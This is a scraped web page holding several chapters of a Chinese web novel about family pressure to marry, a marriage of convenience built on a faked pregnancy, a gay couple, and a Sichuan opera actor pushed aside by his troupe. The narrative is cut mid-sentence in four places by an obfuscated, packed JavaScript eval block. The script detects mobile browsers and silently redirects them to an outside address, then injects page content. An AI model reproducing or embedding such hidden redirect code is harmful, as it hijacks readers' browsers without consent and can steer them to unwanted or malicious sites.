;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007020|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妈说,如果年底前不订婚,她就……” 她的话没说完,但陈声和听懂了。 那些新旧交错的伤是怎么来的,他比谁都清楚。 这些年,为了催婚,家里闹得鸡飞狗跳,亲人都快成了仇人。 可在那些长辈眼里,他们从不觉得自己的方式有什么问题,他们只会觉得脸上无光,觉得家里有个年纪大了还嫁不出去的女儿,走在村里都要被人戳脊梁骨。 “女人嘛,终归是要结婚生子的。” 这话他听得耳朵都快起茧了。 在一些人眼里,女人的价值,仿佛都得拴在“嫁人生子”这四个字上才算数。 除此之外的活法,再好也都是歪门邪道。 更别提任何跳出传统的即兴发挥,在他们看来都是不被允许的。 遇上明事理的父母,或许还能坐下来,好好说上几句话。可若是碰上那些不理智的,什么沟通、什么理解,全是白搭。 他们解决问题的方式就只剩下破口大骂,甚至动手。 在他们根深蒂固的观念里,孩子是自己身上掉下来的肉,是自己生养的,那么打你骂你,就是天经地义的事。 不管你是十岁,二十岁,还是三十岁,在那一瞬间,你永远只是他们眼中一个不听话,需要被“管教”的附属品。 那高高扬起的手,那不堪入耳的辱骂,劈头盖脸地落下来,打掉的何止是尊严,更是那份血浓于水的亲情。 有时候陈声和会想,为什么他们偏偏生在这样一个地方……神明香火不断,可活人却要跪着求生。 “你可以出国。”他轻声说,“留学,工作,以后定居海外……你家有男孩,有些压力,本就不该你来扛。” “我走了,她走不了。”她摇摇头低声说,“她妈妈病了……又是单亲家庭。” 那天,他们聊了很久。 黄嘉雯断断续续地讲,关于她的女友,关于家里的逼迫,关于那些藏在祠堂香火下的绝望。 说到后来声音都是飘的,像倒着一袋散了线的旧毛衣。 “老陈,你说……”她把脸埋在一个小小的抱枕上,声音闷闷的,“全国像我这样被家里催着赶着往婚姻里推的姑娘,得有多少啊?” 她没等陈声和回答,自顾自往下说,话越说越急,像是憋了太久。 “有时候我觉得他们根本不是为了我们好。什么幸福不幸福的,他们不懂,也不在乎。他们在乎的是什么?是脸面。” 是出门碰见邻居,能被问“你闺女还没嫁啊?”的时候,能立刻甩出一个“快了快了,对象有车有房”的底气。 是孩子们过得好不好吗? 不是。 是儿女看起来,符不符合他们心里那套“正常人”的标准。 她抬起脸,眼角有点红,却扯出一个讽刺的笑:“自己日子过得鸡飞狗跳,柴米油盐搅得一团糟,却非得看着下一代也跳进同一个坑,心里才舒坦,才平衡,是不是?” 女儿要是真找了个好的,他们就说,“哎哟,命好的呀,攀上高枝了。” 好像你所有的努力、你这个人本身的优秀,都不值一提,只是运气好,只是恰好符合男方挑选媳妇的标准。 可要是你过得不如意呢? 他们的话头立马就变了,瞎婆娘拉长线,一针拉到阿根廷,“看吧,当初就说那家不行!”全然忘了当初逼着你点头的,也是这群人。 80.祝贺你披荆斩棘 好,你终于妥协了,结婚了。 你以为噩梦结束了? 不,才刚刚开始。 他们的眼睛,下一秒就黏在你肚子上了。 “都结婚一年了,怎么还没动静?” “头胎是女儿啊?那赶紧趁年轻再生个儿子!” “头胎是儿子啊?那再要个闺女,凑个好字,儿女双全多好!” “一儿一女啊?你这么有钱/国家有补贴,再多生几个,将来有事好商量,孩子们有个伴!” 行……你被催得受不了,真生了,以为总算完成任务了吧? 哈,新的“为你好”又来了! 开始明里暗里催你赶紧回去上班,话里话外都是嫌弃,说你在家带孩子“不会赚钱”、“全靠男人养着”。 你咬咬牙,把孩子扔给老人或保姆,重新挤进职场。 以为这次终于符合他们的‘标准’了? 结果呢? 话锋一转,又成了你的不是。 “一天到晚就知道上班,孩子也不管,像个当妈的样子吗?” “钱挣再多有什么用,孩子跟你不亲了!” ……无穷无尽,就像拼夕夕那套砍一刀,你不走完,他们就永远有下一个关卡等着你。 走的时候,她的情绪似乎好了一些,至少背挺直了。 陈声和站在咖啡厅门口,看着她上了出租车。车窗摇上去的瞬间,他看见女孩抬手擦了擦眼睛。 那后来,父亲又试探着问了他几次和黄嘉雯的进展。 每次,陈声和都只是摇头。 直到一周后,黄嘉雯妈妈来送请帖,手里捏着烫金喜帖边缘有些发皱。她说黄嘉雯婚事定在下个月,眼神躲闪着对陈声和说了声对不住。 陈声和正帮母亲泡茶,闻言手上一顿:“怎么了阿姨?” “雯雯她……”黄妈妈喉头滚动两下,“怀孕了。” 陶瓷茶壶磕在玻璃茶盘上。 “怎么可能?”陈声和脱口而出,抬头看见两位母亲错愕的表情才意识到失态。 黄妈妈搓着请帖一角尴尬地笑了笑:“她谈了个男朋友,深圳的,都怪我平时没多问问。” 她指甲在红底金字的囍字上刮出一道浅痕。 陈声和放下茶壶,水渍在桌面漫开一小片:“……我去看看她。” 外套都没拿就往外走。 门关上后,他听见屋里传来压抑的抽泣声。他在楼道拐角停了会儿,确认黄妈妈没提性取向的事,才真正离开。 两家就隔三条街,陈声和上车前给黄嘉雯发了条微信:路口等你。 宝马M5在梧桐树荫下等了十分钟,副驾门才被拉开,黄嘉雯拎着个小包钻进来,身上带着粉邂逅淡淡的香水味。 车开到市区,陈声和把车停在一家茶餐厅门口。他摇下车窗点烟,打火机哒咔响了几次才燃,白雾从他指间升起。 “怎么回事?” “嫁人咯。”黄嘉雯说得很轻松。 陈声和转头看她。她今天穿了件藕荷色连衣裙,眼下遮瑕膏盖住了常年挂着的青黑:“怀孕怎么回事?” “假的呀。”她合上化妆镜,嘴角还噙着笑,“花了两百块。” 陈声和绷紧的后背陷进座椅里:“不至于这样。” “我自愿的。”她突然伸手把陈声和指间的烟摘走,深吸一口,“反正对他们来说,女儿是同性恋还是婚姻不幸根本不重要。” 她把烟灰弹在车载烟灰缸里,嘲讽了一句:“重要的是别让亲戚族老看笑话。” 陈声和看着马路对面牵着孩子的夫妻走过,那孩子在哭闹,女人蹲下耐心哄着,男人却一脸不耐烦。 “我也想通了,”黄嘉雯长舒一口气,“找个人嫁了,生个孩子,我的任务也算完成了。” “……以后呢?”陈声和透过烟雾看着面前的餐厅,“孩子怎么办?” “离啊。”黄嘉雯深吸一口,把烟又塞回他的手里,手指冰凉,“孩子归我,正好省得以后麻烦。” 表面上看,这场催婚大战是她爸妈赢了,女儿总算“听话”了,他们心里指不定怎么松口气呢。 可他们都想错了。 黄嘉雯就是要用这个残酷的方式,明明白白地告诉他们: 我的身体,我的灵魂,从里到外,都只归我自己管。 谁也别妄想替我拿主意。 “……什么条件?”陈声和问她。 “条件嘛……将就。”她像在掂量一件商品,“新加坡华籍,祖上福建的。一米八,皮相不错,是个手机公司的工程师。” 她侧过头,冲陈声和露出略带疲惫的笑:“挺好,他图我家的关系,我图他只想图钱。各取所需,干干净净。” “不了解只会踏入火坑。”陈声和轻声说,“结婚后多的是善变。” 暴力、出轨、算计、无休止的争吵消耗,枕边人成了索命鬼……哪一样不是刀子割肉,天长日久,能把一个好好的人磨没了形。 那时候该向谁求助? 法律护不住,亲人靠不住,朋友不敢帮。 一句“精神病”,一句“家务事”,一句“冷静期”,一句“优先调解”,人命都危在旦夕了,人家给你一句“证据不足”。 能指望谁? 谁都指望不了,只能自己去避免。 黄嘉雯怎么会不懂,她语气里带着嘲弄:“男人这物种全世界都一样,只要他有真正想要的东西,就能伏低做小,演得跟真孙子一样,让你挑不出半点错处。” “所以啊,声和,”她的目光落在他身上,带着惋惜,“像你和李霄川这样的……太少了。大部分男人,骨子里都是……” 她没把话说完,只是摇了摇头,留白的沉默里,是对整个世俗规则的嗤笑,也是对眼前人这份不合时宜出现的遗憾。 车载空调出风口嘶嘶响着,陈声和盯着烟头明灭的红光,掐灭又重新点了一根,旁边黄嘉雯嘁了一声。 他知道黄嘉雯现在就像只被蛛网缠住的蝶,挣不脱就只能把自己裹进茧里。 可这样真的幸福吗? 值得吗? 没人可以回答这个问题,就连黄嘉雯也保证不了下一秒会发生什么事情。 “你女朋友…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007021|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她能同意?”陈声和还是没忍住,多问了一句。 黄嘉雯耸耸肩,嘴角扯出个算不上笑的表情:“她啊,让我赶紧找个人嫁了,别傻等她。说得轻巧,放下要真有那么容易,我非得敬全天下所有不为情所困的姑娘一杯。” “现在是她被困住了,动弹不得。总得有人先挥刀开路吧?那我来吧。等我先把这荆棘丛劈开一条道,她往后走起来,总能顺当些。” “你真的不打算和我结婚?”说完,黄嘉雯突然从包里抽出几页纸,“看看这个。” 陈声和将烟换在左手,接过资料翻着看。 纸张还带着打印机余温,标题写着《非婚生育法律实务》,他翻到第三页时看到大段荧光笔标记,关于女性单方生育权的司法解释。 “不合适。”他把文件扔回她膝头,纸张擦过她新做的美甲,发出沙的轻响。 黄嘉雯倒也没生气,只是低头整理着包带,轻叹一声:“好吧,我们这代人总得自己拿主意,拜神归拜神,日子还得自己过。” 末了,她又拐了个弯:“你问过李老师的意思么?” 上次绯闻的事情,是她主动伸出援手帮了陈声和。 这个人情,是他俩欠黄嘉雯的。 陈声和转过脸来看她,他仍是那副温润模样,可微微眯起的眼睛让黄嘉雯突然意识到,这个说话总带着潮汕人软糯尾音的男人,骨子里到底是个有主意的。 “算了,当我没说。”黄嘉雯解开安全带,手指敲着皮质座椅,“路是我自己选的,后果自然也担得起,我不信还有比这更烂的路。” 陈声和点点头,伸手按下车门解锁键:“婚礼我就不去了,台里还有素材要赶。” “理解。”黄嘉雯对着后视镜将碎发别到耳后,推门时带进一阵热风,“祝我勇敢的迈出人生第一步吧!” 陈声和微微额首:“祝贺你披荆斩棘。” 黄嘉雯这才笑着关上门走了。 等红色尾灯消失在路口,陈声和才蹍灭烟头。 手机在掌心转了两圈,最终还是拨通了那个烂熟于心的号码。几乎是在响铃的瞬间就被接起。 “喂?” “是我。”陈声和揉着发胀的太阳穴,听见电话那头传来布料摩擦的窸窣声。 李霄川的呼吸声先传了过来:“你爸,怎么样了?” “脱离危险了。”陈声和望着挡风玻璃上爬过的一只蚂蚁,“后天……得回台里盯剪辑。” “嗯。”李霄川那边传来打火机的轻响,烟嗓比平日更哑。 “阿川……”陈声和仰头靠在头枕上,闭上了眼睛,“好想你。” 电话里突然安静得能听见电流杂音。 过了许久,才传来李霄川像是从胸腔里挤出来的回应:“我也想你。” 那声音轻轻的,却像块热毛巾敷在陈声和心上。他听得出,这次李霄川的想字后面,没藏着往日那些沉重的东西。 之后两个人都沉默着,谁也没说话,谁也没有挂断。 两人就这样举着手机,听着彼此细微的呼吸声。不是无话可说,是怕一开口,又要碰碎什么似的。 81.非遗就是非遗 这头,川剧院的通告栏前早就围得水泄不通。 李霄川站在人群外边儿,没往前凑,就远远看着。手里那枚黄铜钥匙转得飞快,是他专用化妆间的钥匙,现在看来,怕是得换主人了。 钥匙圈上挂着小铜铃,叮叮当当的,声音挺清脆。其实根本不用挤进去看,他也猜得到那张红头文件上写的啥。 自即日起,《白蛇传》主演由A角李霄川换成B角赵明。底下盖着剧团那个鲜红的公章,墨迹都还没干透呢。 “李霄川主演……变更为赵明……” 不知道是谁低声念了出来,声音不高不低,刚好够整个走廊的人都听见。 李霄川眼皮都没抬,钥匙在指间转得更快了。铜铃清脆的声响里,他听见身后传来几声憋着笑的嗤笑,明显是故意的。 “李师兄。” 有人轻轻拽了拽他的袖子。李霄川一回头,看见谢满悦仰着小脸看他。小姑娘脸上还带着没褪干净的稚气,这会儿眼睛红得跟兔子似的。 “他们怎么能这样!”谢满悦声音都抖了,“《白蛇传》明明一直是你……” “满满。”李霄川打断她,顺手把钥匙揣进裤兜,“去,帮我泡杯茶。” 谢满悦嘴唇动了动,想说什么,最后还是重重地点了下头,扭头就往茶水间跑。结果经过人群的时候,不知道谁故意伸脚绊了她一下,她踉跄两步,差点摔着。 李霄川眼神唰地就冷了,直直瞪向那个方向,随后转身就走。 化妆间的门虚掩着,里头传来赵明的大嗓门: “……所以说啊,这年头,光会唱戏有啥用?得会做人!” 李霄川在门口顿住脚步。从门缝里,他看见赵明正大大咧咧地坐在他的化妆镜前,手里摆弄着他那支勾脸笔。 那是宋老师在他二十岁生日时候送的狼毫笔,笔杆上还刻着字呢。 “赵师兄,”李霄川推门进去,声音平静得听不出半点波澜,“用别人的东西之前,记得先洗手。” 化妆间里瞬间安静下来。 赵明手僵在半空,脸上闪过一丝尴尬,随即又堆起笑:“哟,李师弟啊。不好意思啊,团里安排我用这间屋子了……” “知道。”李霄川走到衣架前,取下自己的戏服,“我收拾东西。” 他动作慢条斯理的,像是故意要磨蹭,让屋里的人都难受。 赵明脸色渐渐挂不住了,终于阴阳怪气地开口:“李师弟,不是我说你。上次张团给你介绍对象,多好的机会,你非要……” “非要什么?”李霄川头也没回,“非要像个正常人一样活着?” 化妆间里坐着的几个人都不敢吭声了。 “是不是正常人我不好说,但……”赵明语气带着调侃,“师弟你大学时候那些‘光荣事迹’,咱们可都听说过一点啊。” 李霄川的手在戏服上微微一顿,衣料上的金线刺绣硌得指腹生疼。他慢慢直起身,转身时衣摆带起一阵轻风。 “赵师兄,”他的嘴角甚至还带着笑,“你嘴角沾到胭脂了。” 赵明下意识伸手去擦,手指碰到脸才反应过来,他今天根本没上妆。屋里几个跟班憋笑憋得肩膀直抖。 “我是说,”李霄川从化妆台上抽了张纸巾递过去,“你刚才说话唾沫星子喷到张团侄女照片上了。” 化妆台玻璃底下压着张照片,穿粉色套装的女孩腼腆地笑着。 赵明脸色瞬间铁青,一把拍开李霄川的手:“少在这儿装清高!你以为现在还是你当台柱子的时候?” 纸巾轻飘飘落在地上,李霄川看着它慢慢落在自己脚边。窗外隐约传来鼓乐声,是《白蛇传》里“水斗”那一折,本来该是他的戏。 “赵师兄,”他忽然笑了,“你抢戏的时候,就没打听过许仙的跪步该怎么走吗?” 赵明被噎得说不出话,猛地站起来,摔门走了。 …… 接连几天都这样,练功房里的闲言碎语跟夏天的蚊子似的,嗡嗡嗡赶都赶不走。 “听说了没?他连张团侄女都敢拒……” “装啥呀,网上照片都传疯了。都说他大学时候就是同/性/恋,乱搞还逼得人家为他要死要活,直接被戏剧社除名了。” “华央那个项目差点被他搅黄,没开除他都是看在宋老师面子上……” 李霄川靠在把杆上压腿,像没听见。汗顺着额角往下淌,在木地板上砸出一个个深色圆点。 “砰!” 练功房的门突然被踹开。谢满悦端着茶杯站在门口,小脸涨得通红。 “这都十二月底了,哪儿来的老鼠味儿啊?”她声音扬得老高,眼睛扫过一排排往日称兄道姐的人,“哦~不是老鼠啊,可这臭味,跟老鼠也没啥两样。” 练功房里静了一瞬,随即跟李霄川关系近的几个演员爆出一阵哄笑。 “小谢啊,”一个女演员捏着嗓子,“你这么护着他,该不会你也……” “也什么?” 一个清冷的声音从门外截断她。伍云舒抱着手臂走进来,练功鞋敲在地板上。作为剧团首席青衣,她一个眼神,整个屋子就静了。 “排练时间嚼舌根,”她目光直直刺向刚才说话那几位,“是嫌工资发多了,还是角色太轻了?” 刚才还叽叽喳喳的一群人,瞬间像被轰散的麻雀,没影儿了。走廊上就剩几张被踩脏的宣传单。 谢满悦对着空荡荡的走廊重重“哼”了一声,突然抬脚踹开道具室的门,嗓门又拔高一度: “有本事你们也去演啊!就那三脚猫功夫,能把个人贡献率提高两成都算你们祖上积德!” 伍云舒跟进来,反手带上门:“你也少说两句。”她手指沾了刚蹭到的门框灰,在戏箱上随手划了一道,“跟那些墙头草计较什么。” “往日里师兄长师兄短……”谢满悦一脚踢开地上的头面盒子,珠翠哗啦啦撒了一地,“现在连处分通知都没下来呢,一群势利眼!” 自打李霄川被停演,流言就像黄梅天的霉斑,悄没声地爬满了剧院的每个角落。 而当事人呢,正蹲在道具室最里头,拿着绒布,慢悠悠擦着《白蛇传》里用的紫金钵。天光从高窗斜斜切进来,照得他手上的金粉簌簌往下落。 谢满悦蹲在旁边帮他叠水袖,眼泪啪嗒啪嗒往下砸。 “哭什么。”李霄川头也不抬,把断掉的簪花扔进废料箱,“又不是封箱。” “可是……”谢满悦抽着气,“《白蛇传》是你一手打磨出来的……” 伍云舒靠在门框上,不知什么时候拎来了两个塑料袋。 “喝一杯?”她晃了晃袋子,“我请。” …… 天台的铁门吱呀作响,夕阳把三个影子钉在水泥地上,伍云舒咬开啤酒盖扔在垃圾袋里。 “赵明唱不了许仙。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007022|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 谢满悦正捧着冰镇可乐发呆,闻言抬头,易拉罐上的水珠溅在手背上:“为什么?他昨天还在排练厅……” “音域不够。”伍云舒用筷子尖挑起猪耳朵,软骨在齿间发出脆响。 “他那个西湖山水~还依旧~”她放下筷子,掐着嗓子学赵明吊高音的样子,“唱得跟公鸭叫春似的。” 谢满悦噗地笑出声,可乐差点洒在裙子上。她偷瞄了一眼沉默的李霄川,小声嘟囔:“不是我吹牛,师兄的许仙根本没人能复制。去年在锦江剧院那场,他唱到哭断肝肠那段时,台下老太太们哭湿了三包纸巾……” “人家那是真丝手帕,”李霄川低笑一声,手指轻轻敲着啤酒瓶,“很吸水。” 三人同时笑了起来,笑声在天台被无限扩大。 伍云舒最先收声,她转头时耳环勾住了发丝,剧院方向传来荒腔走板的锣鼓,赵明又把“谁人识”唱成了杀鸡调。 “所以剧院只是停了你师兄的演出,没直接开除。”伍云舒用筷子尖蘸了啤酒,在水泥台上画了只简笔熊猫,“知道为什么吗?” 谢满悦眨了眨眼:“因为师兄实力太强!” “因为非遗。”李霄川接话。他伸手抹掉伍云舒画的熊猫,指腹沾着啤酒在台面上写了个非字,水痕很快被蒸发。 “川剧申遗二十周年庆典时,我是青年代表,”他看着远处的天边,似乎又要下雨了,“他们可以雪藏我,但不敢让传承断代。” 远处又传来赵明唱劈的高音,刺耳得让人皱眉。伍云舒“啧”了一声站起身,裙摆扫过李霄川刚才在地上写的字。 “现在满大街,连川渝这边,是个场合都能看到变脸表演。”伍云舒又开了一瓶酒,瓶身在夕阳下晃动成流沙金,“火锅店开业请两个,婚庆公司养一队,商场活动也能凑一场。” 她收起笑容,看向远处:“为了混口饭吃,没啥可说的。但真能站上戏曲春晚那种台子的,掰着手指头都数得过来。” 不止川剧。现在数得上名号的主流大戏有17种,带着浓重泥土味儿的地方戏有18种,还有10种在乡野田埂间流传的民间小戏,以及6种几乎快要绝迹的特殊表演形式。 除了电视上偶尔还能看到的几种,其余许许多多的戏,走遍全国的古镇景区,好像哪儿都能瞅见那么一点影子,敲锣打鼓,热热闹闹。 可若仔细看,它们好像都被框在了一个模子里,成了招揽游客的背景音。在真正属于艺术的大舞台上,你几乎……看不到它们的魂了。 太多东西,已经被商业这锅水,煮得太浓,太稠,早就尝不出最初的那口清甜了。 谢满悦正拿着吸管,百无聊赖地戳着可乐罐上的水珠,听到这话突然“啊”了一声,像是想起什么,手忙脚乱地去翻自己的帆布包。 “对了对了,昨天在校门口……”她从包里掏出一张皱巴巴的宣传单,边角还沾着点奶茶渍,“有人发这个,什么速成川剧培训班,号称包教包会,学不会全额退款……” 李霄川接过传单。 上面印着个浓妆艳抹的变脸演员,头冠歪歪斜斜像是没戴稳,戏服领口别着个麦克风,整体透着廉价快餐的味道。 他没说什么,只是默默把传单对折,塞进了裤兜。 过了会儿才开口:“文化局之前普查过……” 话没说完,就被远处广场舞震天响的《最炫民族风》给淹没了。 82.法海不懂爱,但观众懂 等那阵聒噪的音乐过去,他才接着说下去:“普查结果显示,成都专业的川剧演员,已经不到百人了。” “其中三十多个在咱们团。”伍云舒突然笑了一声,指甲弹了下酒瓶玻璃,“剩下那六十多个,多半在领低保。” 一阵热风吹过,天台边缘的三角梅簌簌落下几片花瓣。 谢满悦猛地站起来,可乐罐哐当砸在地上:“那他们更应该让师兄演啊,师兄的微博有三十万粉丝,每次直播都有年轻人……” “满满。”李霄川打断她,弯腰捡起可乐罐,“非遗传承不能靠流量,是靠这个。” 说着,他抬手就是一个标准的亮相。 夕阳把他修长的影子牢牢钉在水泥地上,边缘清晰得像是剪出来的。他腰间的衣服随着动作微微掀起,露出一段旧疤痕,又很快隐入衣领。 此刻的他,仿佛一尊被落日镀上金边的年画门神。 谢满悦看得愣住了,连伍云舒都微微睁大了眼睛。 这是《白蛇传》里许仙发现白娘子现出原形时的经典身段:右手虚按剑柄,左腿微曲,连衣摆扬起的弧度准得都像是用尺子量过。 李霄川做起来行云流水,那身洗得发白的日常衣服,仿佛瞬间化作了月白色的戏袍。 “每天清晨六点,雷打不动地练功,十年如一日。”李霄川缓缓收回手势,袖口擦过天台栏杆上的铁锈,“这一点,赵明做不到。” “非遗传承,和这些……”伍云舒指着楼下驶过的一辆面包车,车身上贴着花花绿绿的川剧变脸广告,“火锅店里的变脸,景区的速成班,还有社区走穴式的演出,根本不是一回事。” 李霄川没接话,只是用食指描摹着酒瓶上凝结的水珠。那些水珠滚落下来,在台面上留下深色的圆点。 “李霄川。”伍云舒突然正了神色,语气认真起来,“我只问这一次,那些照片……到底是不是真的?” 风声忽然停了,连广场舞的音乐都恰好在此时切歌,整个世界像是被按了暂停键。 那天去机场送陈声和,五点左右,天还没亮透。 他戴了口罩,帽檐压得很低,甚至刻意避开了值机柜台,只远远站在安检口外的柱子旁。 可偏偏有人拍到了,不是狗仔,也不是跟拍,只是个路过的旅客,随手发了条抖音:机场偶遇两个帅哥,氛围感绝了,有人认识吗? 结果,眼尖的粉丝认出了他。 李霄川后来翻到那条视频时,甚至有些荒谬地想笑。 照片拍得很糊,只能看清他半张侧脸,而陈声和甚至只有一个背影。可偏偏就是那一点轮廓,那一点距离,那一点欲盖弥彰的克制,让所有人都看懂了。 原来他们真的在一起过。 于是前不久和陈声和的绯闻再次被爆了出来,为了后期纪录片正常播出,剧院商量后决定让他休息一段时间,等风波过了再说。 李霄川仰头喝完最后一口酒,喉结滚动时脖颈拉出紧绷的线条:“真的。” 谢满悦手里的纸吸管折断了。她傻站在原地,看着泡沫从折痕处慢慢溢出来。 “哦。”伍云舒点点头,把空酒瓶往地上一搁。玻璃瓶撞到先前那个可乐罐,“那赵明更唱不了许仙了。” 她转身时裙摆扫起几片花瓣,帆布鞋底沾着的可乐渍在地面上留下半个模糊的脚印。 谢满悦呆呆地看着伍云舒的背影消失在楼梯口,又转回头来看李霄川。 她张了三次嘴才发出声音:“师兄,你……你、你和陈导……你们?” 李霄川看着面前这个连耳根都红透了的小师妹,伸手弹了弹她的额头:“师兄大学时的男朋友。” “啊?啊……啊?!”她这三个啊叫唤得像在走上坡路,“那那那……那师姐的意思是?” “她的意思是,”李霄川轻轻笑了起来,眼角挤出几道细纹。夕阳此刻正好照在他半边脸上,将那些纹路染成金色,“戏比天大。” 谢满悦的脑子已经停摆了。她机械地重复着:“戏比天大……” 突然一个激灵,后知后觉地意识到更震撼的事实:“等等!师兄喜欢男的?!师兄和陈导真的……师兄真的喜欢男的?!” 最后半句几乎是喊出来的,惊飞了天台边缘的几只小鸟。 暮色渐渐被黑夜吞没,李霄川下楼,独自走在路上。 夜风裹着火锅底料的余味,吹得他衣服后背微微鼓起。 手机在裤兜里震动,他掏出来时屏幕的光刺得眯了眯眼,是谢满悦发来的消息: 【师兄!赵明排练时把脚崴了!张团急得跳脚,说后天就是审查!】 后面跟着三个哈哈大笑的表情包。 李霄川拇指悬在键盘上方停了停,最终什么也没回,只发了一个早点睡的表情包。 他脚步没停,转过街角时,远远看见川剧院的后门亮着灯,昏黄的光从门缝里漏出来,在石板路上拖出一道细长的亮线。 这个点还在排练的,只有《白蛇传》剧组,后天就是省文化厅的年度审查。 他站在路灯照不到的阴影里,听见里面传来断断续续的唱腔:“……谁曾想良缘是孽缘……” 是赵明的声音,调门起高了,尾音有些发颤。 李霄川闭了闭眼睛,心里一顿脏话输出,MMP,机会摆在这里还不好好学……最后叹了一声转身走了。 救场是不可能的,并且他转身就掏出手机买了明天去重庆的高铁,谁来都不好使。 回到家,钥匙插进家门锁孔的时候,手机又震了,掏出来一看,这次是伍云舒,只有短短一句话: 【法海不懂爱,但观众懂】 李霄川站在漆黑的玄关里,突然笑出了声。 笑声撞在空荡荡的客厅墙壁上,惊醒了沙发上打盹的三花猫。猫跳下来蹭他的腿,他弯腰挠了挠猫下巴,摸到一手湿漉漉的。 这小混蛋又偷喝他放在茶几上的工夫茶了! “瞧你这点出息。”他对着猫说,也不知道是在说猫,还是在说自己。 …… 农历十一月初一,海边的晨雾还没散干净,陈声和就已经站在了陈氏祠堂的台阶下。 地上全是露水,洇得他皮鞋头都深了一块。他穿着一身熨帖的深色西装,外面却硬被母亲套上了一件过肘的藏青色棉布外套,质地厚实,款式老旧,是母亲一早翻箱倒柜找出来的。 “冬祭讲的是齐整、念根,光穿这个太新派了,你阿公阿嬷在世时最看重老规矩。”母亲替他整理衣领时,手指在锁骨处顿了顿,指甲缝里还沾着折元宝用的金箔。 那里躺着个银戒指,是扔掉又捡回来,反复几次后,最终戴在了脖子上。 她到底啥也没说,只是把衬衣领子又使劲拢了拢,像是想把什么不该露出来的痕迹都严严实实地藏进去。 祠堂里传来电子功德箱呆板的提示音:“微信支付到账,五百元。” 这声音穿过飘着柚叶清苦味的天井,跟线香烧出来的烟缠在一块儿。 三叔公拄着那根黄花梨拐杖从偏门挪出来,塑料鞋套在百年青砖上磨得沙沙响。老爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007023|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子去年刚换了髋关节,却死活不肯换掉这双硬底布鞋。 “阿和来啦?”拐杖头在地上点了点,“今年冬祭,要议你的事了。” 陈声和只是微微点了点头,没接话。 正厅里,十几位族老围坐着,每人面前一杯热茶还冒着白气。 神案上摆着全猪全羊,油光锃亮。猪头上还贴着超市的冷链标签,羊眼睛是塑料的。去年环保督察组来过之后,祠堂就不让用活牲了。 陈声和跪在蒲团上,一抬眼,注意到供桌上并排五杯茶正袅袅地冒着热气:苦丁、蜜兰、单丛、普洱、茉莉。 青瓷杯口那一圈金线,在明明暗暗的香火里反着光。 最边上那杯茉莉香片,是母亲特意给他准备的。 “陈氏一族,第二十四代‘声’字辈,男丁三十六,未婚者三。”二叔公的声音从头顶压下来,枯瘦的手指敲着族谱的羊皮封面,指甲缝里是常年喝茶留下的深色茶渍。 “声和,你二十七了。” 屏风后面传来女眷们压低的说话声。陈声和眼角扫见堂妹那台新iPhone,快门声混在议论里,这爱漂亮的小姑娘,估计又在偷偷自拍。 族长敲了一下铜磬,“嗡”一声,余音在梁柱间荡开。 “冬祭议三事:修祠、添丁、续谱。今日先论添丁。” 大伯把iPad推过来,钢化膜上还沾着点儿茶渍。屏幕停在电子族谱陈声和那页,“配偶”那一栏被特意标成了红色。 “27了还不娶,你是打算让你这一房绝后吗?”二叔公的茶盏“咚”一声磕在桌上,陈年单丛的茶汤溅出来几滴,洇湿了族谱的纸页。 陈声和看见大伯的手背上,青筋一下爆了起来。 “55%的股份。”大伯把紫檀木算盘“哗啦”一下推过供桌,算珠噼里啪啦的碰撞声,让他想起上周在剪辑室里,那盘剪废了的素材带转动的噪音。 “按族规,成家立室才能接手。” 祠堂倏然一静,连功德箱的提示音都停了。 陈声和的视线落在算盘上“陈记茶行”那几个烫金字上。那是祖宗们一手创下的产业,父亲守了三十年,现在正被这些乌木算珠,拆解得七零八落。 “不娶,过继也不是不行。”三堂叔嘬着茶慢悠悠道,茶沫沾在他唇边,“我家老二刚添了双胞胎。” 他说着掏出手机,锁屏是两只穿潮汕童装的婴儿。 “不行!”金镯子磕在椅子上的脆响先于人声到来。 母亲从屏风后走出来,棉麻衣角还沾着折元宝用的金箔纸。她今天特意戴了陪嫁的龙凤镯,金属碰撞声让陈声和想起李霄川的铜锣。 